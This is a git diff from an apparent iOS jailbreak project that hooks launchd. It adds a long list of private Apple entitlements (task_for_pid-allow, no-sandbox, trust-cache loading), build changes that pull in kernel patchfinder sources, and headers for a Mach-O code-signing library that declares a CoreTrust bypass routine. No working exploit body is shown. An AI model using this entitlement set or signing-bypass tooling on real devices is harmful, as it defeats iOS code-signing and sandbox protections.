+ keychain-access-groups
+
+ com.apple.applesse
+
+ platform-application
+
+ com.apple.private.security.no-container
+
+ get-task-allow
+
+ task_for_pid-allow
+
+ com.apple.private.security.no-sandbox
+
+ com.apple.private.domain-extension
+
+ com.apple.private.security.container-required
+
+ com.apple.private.security.no-container
+
+ com.apple.private.xpc.domain-extension
+
+ com.apple.private.xpc.domain-extension.proxy
+
+ com.apple.private.xpc.launchd.app-state-manager
+
+ com.apple.private.xpc.launchd.enable-disable-system-services
+
+ com.apple.private.xpc.launchd.event-monitor
+
+ com.apple.private.xpc.launchd.loginitem-bootstrapper
+
+ com.apple.private.xpc.launchd.loginitem-outside-bundle
+
+ com.apple.private.xpc.launchd.obliterator
+
+ com.apple.private.xpc.launchd.per-user-create.mbsetupuser
+
+ com.apple.private.xpc.launchd.per-user-lookup
+
+ com.apple.private.xpc.launchd.reboot
+
+ com.apple.private.xpc.launchd.service-hold
+
+ com.apple.private.xpc.launchd.userspace-reboot
+
+ com.apple.private.xpc.launchd.userspace-reboot-now
+
+ com.apple.private.xpc.persona-creator
+
+ com.apple.private.xpc.persona-manager
+
+ com.apple.private.persona-mgmt
+
+ com.apple.private.xpc.service-attach
+
+ com.apple.private.xpc.service-configure
+
+ com.apple.private.set-launch-type.internal
+
+ com.apple.apfs.get-dev-by-role
+
+ com.apple.private.amfi.can-allow-non-platform
+
+ com.apple.private.iokit.system-nvram-allow
+
+ com.apple.private.kernel.system-override
+
+ com.apple.private.pmap.load-trust-cache
+
+ cryptex1.boot.os
+ cryptex1.boot.app
+ cryptex1.safari-downlevel
+
+ com.apple.private.record_system_event
+
+ com.apple.private.roots-installed-read-write
+
+ com.apple.private.security.disk-device-access
+
+ com.apple.private.security.storage.driverkitd
+
+ com.apple.private.security.storage.launchd
+
+ com.apple.private.security.system-mount-authority
+
+ com.apple.private.set-atm-diagnostic-flag
+
+ com.apple.private.spawn-panic-crash-behavior
+
+ com.apple.private.spawn-subsystem-root
+
+ com.apple.private.vfs.allow-low-space-writes
+
+ com.apple.private.vfs.graftdmg
+
+ com.apple.private.vfs.pivot-root
+
+ com.apple.rootless.restricted-block-devices
+
+ com.apple.rootless.storage.early_boot_mount
+
+ com.apple.rootless.volume.Preboot
+
+
+
diff --git a/RootHelperSample/launchdshim/launchdhook/.vscode/settings.json b/RootHelperSample/launchdshim/launchdhook/.vscode/settings.json
new file mode 100644
index 00000000..7890c4a2
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/.vscode/settings.json
@@ -0,0 +1,17 @@
+{
+ "files.associations": {
+ "libbsm.h": "c",
+ "util.h": "c",
+ "xpc.h": "c",
+ "xpc_private.h": "c",
+ "exec_patch.h": "c",
+ "libproc.h": "c",
+ "kernel.h": "c",
+ "info.h": "c",
+ "jbclient_xpc.h": "c",
+ "sandbox.h": "c",
+ "libproc_private.h": "c",
+ "audit.h": "c",
+ "translation.h": "c"
+ }
+}
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/Makefile b/RootHelperSample/launchdshim/launchdhook/Makefile
index 8e431e20..09879d0b 100644
--- a/RootHelperSample/launchdshim/launchdhook/Makefile
+++ b/RootHelperSample/launchdshim/launchdhook/Makefile
@@ -5,10 +5,10 @@ include $(THEOS)/makefiles/common.mk
LIBRARY_NAME = launchdhook
-launchdhook_FILES = $(wildcard *.m) $(wildcard *.c) $(wildcard verbose/*.m)
+launchdhook_FILES = $(wildcard *.m) $(wildcard *.c) $(wildcard verbose/*.m) $(wildcard jbserver/*.c) $(wildcard jbserver/*.m) $(wildcard fun/*.m) $(wildcard fun/kpf/*.c) $(wildcard fun/kpf/*.m)
launchdhook_CFLAGS = -fobjc-arc -isystem "../../../usprebooter/Private Headers I stole from the macOS SDK" -Wno-error
launchdhook_CODESIGN_FLAGS = -S../launchdentitlements.plist
-launchdhook_LDFLAGS = -F./Frameworks
+launchdhook_LDFLAGS = -F./Frameworks -L./ -lbsm -lhooker -framework IOKit
launchdhook_EXTRA_FRAMEWORKS += IOMobileFramebuffer IOSurface
after-package::
echo "[*] Signing launchd hook"
diff --git a/RootHelperSample/launchdshim/launchdhook/choma/Base64.h b/RootHelperSample/launchdshim/launchdhook/choma/Base64.h
new file mode 100644
index 00000000..a09d3eaa
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/choma/Base64.h
@@ -0,0 +1,11 @@
+#ifndef BASE64_H
+#define BASE64_H
+
+#include
+#include
+
+char *base64_encode(const unsigned char *data,
+ size_t input_length,
+ size_t *output_length);
+
+#endif // BASE64_H
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/choma/BufferedStream.h b/RootHelperSample/launchdshim/launchdhook/choma/BufferedStream.h
new file mode 100644
index 00000000..bfad1b21
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/choma/BufferedStream.h
@@ -0,0 +1,19 @@
+#ifndef BUFFERED_STREAM_H
+#define BUFFERED_STREAM_H
+
+#include "MemoryStream.h"
+#include
+
+#define BUFFERED_STREAM_FLAG_AUTO_EXPAND (1 << 0)
+
+typedef struct BufferedStreamContext {
+ uint8_t *buffer;
+ size_t bufferSize;
+ uint32_t subBufferStart;
+ size_t subBufferSize;
+} BufferedStreamContext;
+
+MemoryStream *buffered_stream_init_from_buffer_nocopy(void *buffer, size_t bufferSize, uint32_t flags);
+MemoryStream *buffered_stream_init_from_buffer(void *buffer, size_t bufferSize, uint32_t flags);
+
+#endif // BUFFERED_STREAM_H
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/choma/CSBlob.h b/RootHelperSample/launchdshim/launchdhook/choma/CSBlob.h
new file mode 100644
index 00000000..5901e84e
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/choma/CSBlob.h
@@ -0,0 +1,108 @@
+#ifndef CS_BLOB_H
+#define CS_BLOB_H
+
+#include
+#include
+#include
+#include
+
+#include "FAT.h"
+#include "MachO.h"
+#include "MemoryStream.h"
+
+// Blob index
+typedef struct __BlobIndex {
+ uint32_t type;
+ uint32_t offset;
+} CS_BlobIndex;
+
+// CMS superblob
+typedef struct __SuperBlob {
+ uint32_t magic;
+ uint32_t length;
+ uint32_t count;
+ CS_BlobIndex index[];
+} CS_SuperBlob;
+
+typedef struct __GenericBlob {
+ uint32_t magic; /* magic number */
+ uint32_t length; /* total length of blob */
+ char data[];
+} CS_GenericBlob;
+
+// CMS blob magic types
+enum {
+ CSBLOB_REQUIREMENT = 0xfade0c00,
+ CSBLOB_REQUIREMENTS = 0xfade0c01,
+ CSBLOB_CODEDIRECTORY = 0xfade0c02,
+ CSBLOB_EMBEDDED_SIGNATURE = 0xfade0cc0,
+ CSBLOB_DETACHED_SIGNATURE = 0xfade0cc1,
+ CSBLOB_ENTITLEMENTS = 0xfade7171,
+ CSBLOB_DER_ENTITLEMENTS = 0xfade7172,
+ CSBLOB_SIGNATURE_BLOB = 0xfade0b01
+} CS_BlobType;
+
+enum {
+ CSSLOT_CODEDIRECTORY = 0,
+ CSSLOT_INFOSLOT = 1,
+ CSSLOT_REQUIREMENTS = 2,
+ CSSLOT_RESOURCEDIR = 3,
+ CSSLOT_APPLICATION = 4,
+ CSSLOT_ENTITLEMENTS = 5,
+ CSSLOT_DER_ENTITLEMENTS = 7,
+ CSSLOT_ALTERNATE_CODEDIRECTORIES = 0x1000,
+ CSSLOT_ALTERNATE_CODEDIRECTORY_MAX = 5,
+ CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT = CSSLOT_ALTERNATE_CODEDIRECTORIES + CSSLOT_ALTERNATE_CODEDIRECTORY_MAX,
+ CSSLOT_SIGNATURESLOT = 0x10000
+} CS_SlotType;
+
+typedef struct s_CS_DecodedBlob {
+ struct s_CS_DecodedBlob *next;
+ uint32_t type;
+ MemoryStream *stream;
+} CS_DecodedBlob;
+
+typedef struct s_CS_DecodedSuperBlob {
+ uint32_t magic;
+ struct s_CS_DecodedBlob *firstBlob;
+} CS_DecodedSuperBlob;
+
+// Convert blob magic to readable blob type string
+char *cs_blob_magic_to_string(int magic);
+
+// Extract Code Signature to file
+int macho_extract_cs_to_file(MachO *macho, CS_SuperBlob *superblob);
+
+int macho_find_code_signature_bounds(MachO *macho, uint32_t *offsetOut, uint32_t *sizeOut);
+
+CS_SuperBlob *macho_read_code_signature(MachO *macho);
+
+int macho_replace_code_signature(MachO *macho, CS_SuperBlob *superblob);
+
+int update_load_commands(MachO *macho, CS_SuperBlob *superblob, uint64_t originalSize);
+
+CS_DecodedBlob *csd_blob_init(uint32_t type, CS_GenericBlob *blobData);
+int csd_blob_read(CS_DecodedBlob *blob, uint64_t offset, size_t size, void *outBuf);
+int csd_blob_write(CS_DecodedBlob *blob, uint64_t offset, size_t size, const void *inBuf);
+int csd_blob_insert(CS_DecodedBlob *blob, uint64_t offset, size_t size, const void *inBuf);
+int csd_blob_delete(CS_DecodedBlob *blob, uint64_t offset, size_t size);
+int csd_blob_read_string(CS_DecodedBlob *blob, uint64_t offset, char **outString);
+int csd_blob_write_string(CS_DecodedBlob *blob, uint64_t offset, const char *string);
+int csd_blob_get_size(CS_DecodedBlob *blob);
+uint32_t csd_blob_get_type(CS_DecodedBlob *blob);
+void csd_blob_set_type(CS_DecodedBlob *blob, uint32_t type);
+void csd_blob_free(CS_DecodedBlob *blob);
+
+CS_DecodedSuperBlob *csd_superblob_decode(CS_SuperBlob *superblob);
+CS_SuperBlob *csd_superblob_encode(CS_DecodedSuperBlob *decodedSuperblob);
+CS_DecodedBlob *csd_superblob_find_blob(CS_DecodedSuperBlob *superblob, uint32_t type, uint32_t *indexOut);
+int csd_superblob_insert_blob_after_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToInsert, CS_DecodedBlob *afterBlob);
+int csd_superblob_insert_blob_at_index(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToInsert, uint32_t atIndex);
+int csd_superblob_append_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToAppend);
+int csd_superblob_remove_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToRemove); // <- Important: When calling this, caller is responsible for freeing blobToRemove
+int csd_superblob_remove_blob_at_index(CS_DecodedSuperBlob *superblob, uint32_t atIndex);
+int csd_superblob_print_content(CS_DecodedSuperBlob *decodedSuperblob, MachO *macho, bool printAllSlots, bool verifySlots);
+void csd_superblob_free(CS_DecodedSuperBlob *decodedSuperblob);
+
+
+#endif // CS_BLOB_H
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/choma/CodeDirectory.h b/RootHelperSample/launchdshim/launchdhook/choma/CodeDirectory.h
new file mode 100644
index 00000000..66eb5538
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/choma/CodeDirectory.h
@@ -0,0 +1,53 @@
+#ifndef CODE_DIRECTORY_H
+#define CODE_DIRECTORY_H
+
+#include
+#include
+#include
+
+#include "MachO.h"
+#include "CSBlob.h"
+#include "FAT.h"
+#include "MachOByteOrder.h"
+#include "MachOLoadCommand.h"
+#include "MemoryStream.h"
+
+
+// Code directory blob header
+typedef struct __CodeDirectory {
+ uint32_t magic;
+ uint32_t length;
+ uint32_t version;
+ uint32_t flags;
+ uint32_t hashOffset;
+ uint32_t identOffset;
+ uint32_t nSpecialSlots;
+ uint32_t nCodeSlots;
+ uint32_t codeLimit;
+ uint8_t hashSize;
+ uint8_t hashType;
+ uint8_t spare1;
+ uint8_t pageSize;
+ uint32_t spare2;
+ uint32_t scatterOffset;
+ uint32_t teamOffset;
+} CS_CodeDirectory;
+
+enum CS_HashType {
+ CS_HASHTYPE_SHA160_160 = 1,
+ CS_HASHTYPE_SHA256_256 = 2,
+ CS_HASHTYPE_SHA256_160 = 3,
+ CS_HASHTYPE_SHA384_384 = 4,
+};
+
+char *csd_code_directory_copy_identity(CS_DecodedBlob *codeDirBlob, uint32_t *offsetOut);
+char *csd_code_directory_copy_team_id(CS_DecodedBlob *codeDirBlob, uint32_t *offsetOut);
+int csd_code_directory_set_team_id(CS_DecodedBlob *codeDirBlob, char *newTeamID);
+uint32_t csd_code_directory_get_flags(CS_DecodedBlob *codeDirBlob);
+void csd_code_directory_set_flags(CS_DecodedBlob *codeDirBlob, uint32_t flags);
+uint8_t csd_code_directory_get_hash_type(CS_DecodedBlob *codeDirBlob);
+void csd_code_directory_set_hash_type(CS_DecodedBlob *codeDirBlob, uint8_t hashType);
+int csd_code_directory_print_content(CS_DecodedBlob *codeDirBlob, MachO *macho, bool printSlots, bool verifySlots);
+void csd_code_directory_update(CS_DecodedBlob *codeDirBlob, MachO *macho);
+
+#endif // CODE_DIRECTORY_H
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/choma/FAT.h b/RootHelperSample/launchdshim/launchdhook/choma/FAT.h
new file mode 100644
index 00000000..22faf056
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/choma/FAT.h
@@ -0,0 +1,41 @@
+#ifndef MACHO_H
+#define MACHO_H
+
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "MemoryStream.h"
+typedef struct MachO MachO;
+
+// A FAT structure can either represent a FAT file with multiple slices, in which the slices will be loaded into the slices attribute
+// Or a single slice MachO, in which case it serves as a compatibility layer and the single slice will also be loaded into the slices attribute
+typedef struct FAT
+{
+ MemoryStream *stream;
+ MachO **slices;
+ uint32_t slicesCount;
+ int fileDescriptor;
+} FAT;
+
+int fat_read_at_offset(FAT *fat, uint64_t offset, size_t size, void *outBuf);
+
+MemoryStream *fat_get_stream(FAT *fat);
+
+// Initialise a FAT structure from a memory stream
+FAT *fat_init_from_memory_stream(MemoryStream *stream);
+
+// Initialise a FAT structure using the path to the file
+FAT *fat_init_from_path(const char *filePath);
+//FAT *fat_init_from_path_for_writing(const char *filePath);
+
+// Find macho with cputype and cpusubtype in FAT, returns NULL if not found
+MachO *fat_find_slice(FAT *fat, cpu_type_t cputype, cpu_subtype_t cpusubtype);
+
+// Free all elements of the FAT structure
+void fat_free(FAT *fat);
+
+#endif // MACHO_H
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/choma/FileStream.h b/RootHelperSample/launchdshim/launchdhook/choma/FileStream.h
new file mode 100644
index 00000000..3cab1eaf
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/choma/FileStream.h
@@ -0,0 +1,21 @@
+#ifndef FILE_STREAM_H
+#define FILE_STREAM_H
+
+#include "MemoryStream.h"
+
+#define FILE_STREAM_SIZE_AUTO 0
+#define FILE_STREAM_FLAG_WRITABLE (1 << 0)
+#define FILE_STREAM_FLAG_AUTO_EXPAND (1 << 1)
+
+typedef struct FileStreamContext {
+ int fd;
+ size_t fileSize;
+ uint32_t bufferStart;
+ size_t bufferSize;
+} FileStreamContext;
+
+MemoryStream *file_stream_init_from_file_descriptor_nodup(int fd, uint32_t bufferStart, size_t bufferSize, uint32_t flags);
+MemoryStream *file_stream_init_from_file_descriptor(int fd, uint32_t bufferStart, size_t bufferSize, uint32_t flags);
+MemoryStream *file_stream_init_from_path(const char *path, uint32_t bufferStart, size_t bufferSize, uint32_t flags);
+
+#endif // FILE_STREAM_H
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/choma/Host.h b/RootHelperSample/launchdshim/launchdhook/choma/Host.h
new file mode 100644
index 00000000..56051c09
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/choma/Host.h
@@ -0,0 +1,10 @@
+#ifndef HOST_H
+#define HOST_H
+
+#include "FAT.h"
+
+// Retrieve the preferred MachO slice from a FAT
+// Preferred slice as in the slice that the kernel would use when loading the file
+MachO *fat_find_preferred_slice(FAT *fat);
+
+#endif // HOST_H
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/choma/MachO.h b/RootHelperSample/launchdshim/launchdhook/choma/MachO.h
new file mode 100644
index 00000000..5b929233
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/choma/MachO.h
@@ -0,0 +1,62 @@
+#ifndef MACHO_SLICE_H
+#define MACHO_SLICE_H
+
+#include
+#include
+#include
+#include "MemoryStream.h"
+#include "FAT.h"
+
+typedef struct MachOSegment
+{
+ struct segment_command_64 command;
+ struct section_64 sections[];
+} __attribute__((__packed__)) MachOSegment;
+
+typedef struct FilesetMachO {
+ char *entry_id;
+ uint64_t vmaddr;
+ uint64_t fileoff;
+ FAT *underlyingMachO;
+} FilesetMachO;
+
+typedef struct MachO {
+ MemoryStream *stream;
+ bool isSupported;
+ struct mach_header_64 machHeader;
+ struct fat_arch_64 archDescriptor;
+
+ uint32_t filesetCount;
+ FilesetMachO *filesetMachos;
+
+ uint32_t segmentCount;
+ MachOSegment **segments;
+} MachO;
+
+// Read data from a MachO at a specified offset
+int macho_read_at_offset(MachO *macho, uint64_t offset, size_t size, void *outBuf);
+
+// Write data from a MachO at a specified offset, auto expands, only works if opened via macho_init_for_writing
+int macho_write_at_offset(MachO *macho, uint64_t offset, size_t size, void *inBuf);
+
+MemoryStream *macho_get_stream(MachO *macho);
+uint32_t macho_get_filetype(MachO *macho);
+
+// Perform translation between file offsets and virtual addresses
+int macho_translate_fileoff_to_vmaddr(MachO *macho, uint64_t fileoff, uint64_t *vmaddrOut, MachOSegment **segmentOut);
+int macho_translate_vmaddr_to_fileoff(MachO *macho, uint64_t vmaddr, uint64_t *fileoffOut, MachOSegment **segmentOut);
+
+// Read data from a MachO at a specified virtual address
+int macho_read_at_vmaddr(MachO *macho, uint64_t vmaddr, size_t size, void *outBuf);
+
+int macho_enumerate_load_commands(MachO *macho, void (^enumeratorBlock)(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop));
+
+// Initialise a MachO object from a MemoryStream and it's corresponding FAT arch descriptor
+MachO *macho_init(MemoryStream *stream, struct fat_arch_64 archDescriptor);
+
+// Initialize a single slice macho for writing to it
+MachO *macho_init_for_writing(const char *filePath);
+
+void macho_free(MachO *macho);
+
+#endif // MACHO_SLICE_H
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/choma/MachOByteOrder.h b/RootHelperSample/launchdshim/launchdhook/choma/MachOByteOrder.h
new file mode 100644
index 00000000..394dba7d
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/choma/MachOByteOrder.h
@@ -0,0 +1,164 @@
+#ifndef MACHO_BYTE_ORDER_H
+#define MACHO_BYTE_ORDER_H
+
+#include
+#include
+
+// 8-bit integers needed for CodeDirectory
+#define BIG_TO_HOST(n) _Generic((n), \
+ int8_t: n, \
+ uint8_t: n, \
+ int16_t: OSSwapBigToHostInt16(n), \
+ uint16_t: OSSwapBigToHostInt16(n), \
+ int32_t: OSSwapBigToHostInt32(n), \
+ uint32_t: OSSwapBigToHostInt32(n), \
+ int64_t: OSSwapBigToHostInt64(n), \
+ uint64_t: OSSwapBigToHostInt64(n) \
+)
+
+#define HOST_TO_BIG(n) _Generic((n), \
+ int8_t: n, \
+ uint8_t: n, \
+ uint16_t: OSSwapHostToBigInt16(n), \
+ int16_t: OSSwapHostToBigInt16(n), \
+ int32_t: OSSwapHostToBigInt32(n), \
+ uint32_t: OSSwapHostToBigInt32(n), \
+ int64_t: OSSwapHostToBigInt64(n), \
+ uint64_t: OSSwapHostToBigInt64(n) \
+)
+
+#define LITTLE_TO_HOST(n) _Generic((n), \
+ int8_t: n, \
+ uint8_t: n, \
+ int16_t: OSSwapLittleToHostInt16(n), \
+ uint16_t: OSSwapLittleToHostInt16(n), \
+ int32_t: OSSwapLittleToHostInt32(n), \
+ uint32_t: OSSwapLittleToHostInt32(n), \
+ int64_t: OSSwapLittleToHostInt64(n), \
+ uint64_t: OSSwapLittleToHostInt64(n) \
+)
+
+#define HOST_TO_LITTLE(n) _Generic((n), \
+ int8_t: n, \
+ uint8_t: n, \
+ int16_t: OSSwapHostToLittleInt16(n), \
+ uint16_t: OSSwapHostToLittleInt16(n), \
+ int32_t: OSSwapHostToLittleInt32(n), \
+ uint32_t: OSSwapHostToLittleInt32(n), \
+ int64_t: OSSwapHostToLittleInt64(n), \
+ uint64_t: OSSwapHostToLittleInt64(n) \
+)
+
+#define HOST_TO_LITTLE_APPLIER(instance, member) \
+ (instance)->member = HOST_TO_LITTLE((instance)->member)
+
+#define HOST_TO_BIG_APPLIER(instance, member) \
+ (instance)->member = HOST_TO_BIG((instance)->member)
+
+#define LITTLE_TO_HOST_APPLIER(instance, member) \
+ (instance)->member = LITTLE_TO_HOST((instance)->member)
+
+#define BIG_TO_HOST_APPLIER(instance, member) \
+ (instance)->member = BIG_TO_HOST((instance)->member)
+
+#define FAT_HEADER_APPLY_BYTE_ORDER(fh, applier) \
+ applier(fh, magic); \
+ applier(fh, nfat_arch);
+
+#define FAT_ARCH_APPLY_BYTE_ORDER(arch, applier) \
+ applier(arch, cputype); \
+ applier(arch, cpusubtype); \
+ applier(arch, offset); \
+ applier(arch, size); \
+ applier(arch, align); \
+
+#define FAT_ARCH_64_APPLY_BYTE_ORDER(arch, applier) \
+ applier(arch, cputype); \
+ applier(arch, cpusubtype); \
+ applier(arch, offset); \
+ applier(arch, size); \
+ applier(arch, align); \
+ applier(arch, reserved); \
+
+#define MACH_HEADER_APPLY_BYTE_ORDER(mh, applier) \
+ applier(mh, magic); \
+ applier(mh, cputype); \
+ applier(mh, cpusubtype); \
+ applier(mh, filetype); \
+ applier(mh, ncmds); \
+ applier(mh, sizeofcmds); \
+ applier(mh, reserved);
+
+#define LOAD_COMMAND_APPLY_BYTE_ORDER(lc, applier) \
+ applier(lc, cmd); \
+ applier(lc, cmdsize);
+
+#define LINKEDIT_DATA_COMMAND_APPLY_BYTE_ORDER(lc, applier) \
+ applier(lc, cmd); \
+ applier(lc, cmdsize); \
+ applier(lc, dataoff); \
+ applier(lc, datasize);
+
+#define BLOB_INDEX_APPLY_BYTE_ORDER(bi, applier) \
+ applier(bi, type); \
+ applier(bi, offset);
+
+#define SUPERBLOB_APPLY_BYTE_ORDER(sb, applier) \
+ applier(sb, magic); \
+ applier(sb, length); \
+ applier(sb, count);
+
+#define GENERIC_BLOB_APPLY_BYTE_ORDER(gb, applier) \
+ applier(gb, magic); \
+ applier(gb, length);
+
+#define CODE_DIRECTORY_APPLY_BYTE_ORDER(cd, applier) \
+ applier(cd, magic); \
+ applier(cd, length); \
+ applier(cd, version); \
+ applier(cd, flags); \
+ applier(cd, hashOffset); \
+ applier(cd, identOffset); \
+ applier(cd, nSpecialSlots); \
+ applier(cd, nCodeSlots); \
+ applier(cd, codeLimit); \
+ applier(cd, hashSize); \
+ applier(cd, hashType); \
+ applier(cd, spare1); \
+ applier(cd, pageSize); \
+ applier(cd, spare2); \
+ applier(cd, scatterOffset); \
+ applier(cd, teamOffset);
+
+#define SEGMENT_COMMAND_64_APPLY_BYTE_ORDER(sc64, applier) \
+ applier(sc64, cmd); \
+ applier(sc64, cmdsize); \
+ applier(sc64, fileoff); \
+ applier(sc64, filesize); \
+ applier(sc64, vmaddr); \
+ applier(sc64, vmsize); \
+ applier(sc64, flags); \
+ applier(sc64, initprot); \
+ applier(sc64, maxprot); \
+ applier(sc64, nsects);
+
+#define SECTION_64_APPLY_BYTE_ORDER(sc64, applier) \
+ applier(sc64, addr); \
+ applier(sc64, align); \
+ applier(sc64, flags); \
+ applier(sc64, nreloc); \
+ applier(sc64, offset); \
+ applier(sc64, reserved1); \
+ applier(sc64, reserved2); \
+ applier(sc64, reserved3); \
+ applier(sc64, size);
+
+#define FILESET_ENTRY_COMMAND_APPLY_BYTE_ORDER(fse, applier) \
+ applier(fse, cmd); \
+ applier(fse, cmdsize); \
+ applier(fse, vmaddr); \
+ applier(fse, fileoff); \
+ applier(fse, entry_id.offset); \
+ applier(fse, reserved); \
+
+#endif // MACHO_BYTE_ORDER_H
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/choma/MachOLoadCommand.h b/RootHelperSample/launchdshim/launchdhook/choma/MachOLoadCommand.h
new file mode 100644
index 00000000..d07ccbde
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/choma/MachOLoadCommand.h
@@ -0,0 +1,16 @@
+#ifndef MACHO_LOAD_COMMAND_H
+#define MACHO_LOAD_COMMAND_H
+
+#include
+#include "MachO.h"
+#include "CSBlob.h"
+#include "FileStream.h"
+#include "MachOByteOrder.h"
+
+// Convert load command to load command name
+char *load_command_to_string(int loadCommand);
+void update_segment_command_64(MachO *macho, const char *segmentName, uint64_t vmaddr, uint64_t vmsize, uint64_t fileoff, uint64_t filesize);
+void update_lc_code_signature(MachO *macho, uint64_t size);
+int update_load_commands_for_coretrust_bypass(MachO *macho, CS_SuperBlob *superblob, uint64_t originalCodeSignatureSize, uint64_t originalMachOSize);
+
+#endif // MACHO_LOAD_COMMAND_H
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/choma/MemoryStream.h b/RootHelperSample/launchdshim/launchdhook/choma/MemoryStream.h
new file mode 100644
index 00000000..b6326fb0
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/choma/MemoryStream.h
@@ -0,0 +1,60 @@
+#ifndef MEMORY_STREAM_H
+#define MEMORY_STREAM_H
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#define MEMORY_STREAM_FLAG_OWNS_DATA (1 << 0)
+#define MEMORY_STREAM_FLAG_MUTABLE (1 << 1)
+#define MEMORY_STREAM_FLAG_AUTO_EXPAND (1 << 2)
+
+#define MEMORY_STREAM_SIZE_INVALID (size_t)-1
+
+// A generic memory IO interface that is used throughout this project
+// Can be backed by anything, just the functions have to be implemented
+typedef struct s_MemoryStream {
+ void *context;
+ uint32_t flags;
+
+ int (*read)(struct s_MemoryStream *stream, uint64_t offset, size_t size, void *outBuf);
+ int (*write)(struct s_MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf);
+ int (*getSize)(struct s_MemoryStream *stream, size_t *sizeOut);
+ uint8_t *(*getRawPtr)(struct s_MemoryStream *stream);
+
+ int (*trim)(struct s_MemoryStream *stream, size_t trimAtStart, size_t trimAtEnd);
+ int (*expand)(struct s_MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd);
+
+ struct s_MemoryStream *(*hardclone)(struct s_MemoryStream *stream);
+ struct s_MemoryStream *(*softclone)(struct s_MemoryStream *stream);
+ void (*free)(struct s_MemoryStream *stream);
+} MemoryStream;
+
+int memory_stream_read(MemoryStream *stream, uint64_t offset, size_t size, void *outBuf);
+int memory_stream_write(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf);
+
+int memory_stream_insert(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf);
+int memory_stream_delete(MemoryStream *stream, uint64_t offset, size_t size);
+
+int memory_stream_read_string(MemoryStream *stream, uint64_t offset, char **outString);
+int memory_stream_write_string(MemoryStream *stream, uint64_t offset, const char *string);
+
+size_t memory_stream_get_size(MemoryStream *stream);
+uint8_t *memory_stream_get_raw_pointer(MemoryStream *stream);
+uint32_t memory_stream_get_flags(MemoryStream *stream);
+
+MemoryStream *memory_stream_softclone(MemoryStream *stream);
+MemoryStream *memory_stream_hardclone(MemoryStream *stream);
+int memory_stream_trim(MemoryStream *stream, size_t trimAtStart, size_t trimAtEnd);
+int memory_stream_expand(MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd);
+
+void memory_stream_free(MemoryStream *stream);
+
+int memory_stream_copy_data(MemoryStream *originStream, uint64_t originOffset, MemoryStream *targetStream, uint64_t targetOffset, size_t size);
+int memory_stream_find_memory(MemoryStream *stream, uint64_t searchOffset, size_t searchSize, void *bytes, void *mask, size_t nbytes, uint16_t alignment, uint64_t *foundOffsetOut);
+
+#endif // MEMORY_STREAM_H
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/choma/PatchFinder.h b/RootHelperSample/launchdshim/launchdhook/choma/PatchFinder.h
new file mode 100644
index 00000000..b2ddd60e
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/choma/PatchFinder.h
@@ -0,0 +1,44 @@
+#include
+#include "MachO.h"
+
+#define METRIC_TYPE_PATTERN 1
+#define METRIC_TYPE_STRING_XREF 2
+#define METRIC_TYPE_FUNCTION_XREF 3
+
+typedef struct PFSection {
+ uint64_t fileoff;
+ uint64_t vmaddr;
+ uint64_t size;
+ uint8_t *cache;
+ bool ownsCache;
+} PFSection;
+
+PFSection *macho_patchfinder_create_section(MachO *macho, const char *filesetEntryId, const char *segName, const char *sectName);
+int macho_patchfinder_cache_section(PFSection *section, MachO *fromMacho);
+void macho_patchfinder_section_free(PFSection *section);
+
+typedef struct MetricShared {
+ uint32_t type;
+ PFSection *section;
+} MetricShared;
+
+
+typedef enum {
+ BYTE_PATTERN_ALIGN_8_BIT,
+ BYTE_PATTERN_ALIGN_16_BIT,
+ BYTE_PATTERN_ALIGN_32_BIT,
+ BYTE_PATTERN_ALIGN_64_BIT,
+} BytePatternAlignment;
+
+typedef struct BytePatternMetric {
+ MetricShared shared;
+
+ void *bytes;
+ void *mask;
+ size_t nbytes;
+ BytePatternAlignment alignment;
+} BytePatternMetric;
+
+BytePatternMetric *macho_patchfinder_create_byte_pattern_metric(PFSection *section, void *bytes, void *mask, size_t nbytes, BytePatternAlignment alignment);
+
+void macho_patchfinder_run_metric(MachO *macho, void *metric, void (^matchBlock)(uint64_t vmaddr, bool *stop));
diff --git a/RootHelperSample/launchdshim/launchdhook/choma/SignOSSL.h b/RootHelperSample/launchdshim/launchdhook/choma/SignOSSL.h
new file mode 100644
index 00000000..00afe5fa
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/choma/SignOSSL.h
@@ -0,0 +1,16 @@
+#ifndef SIGN_OSSL_H
+#define SIGN_OSSL_H
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
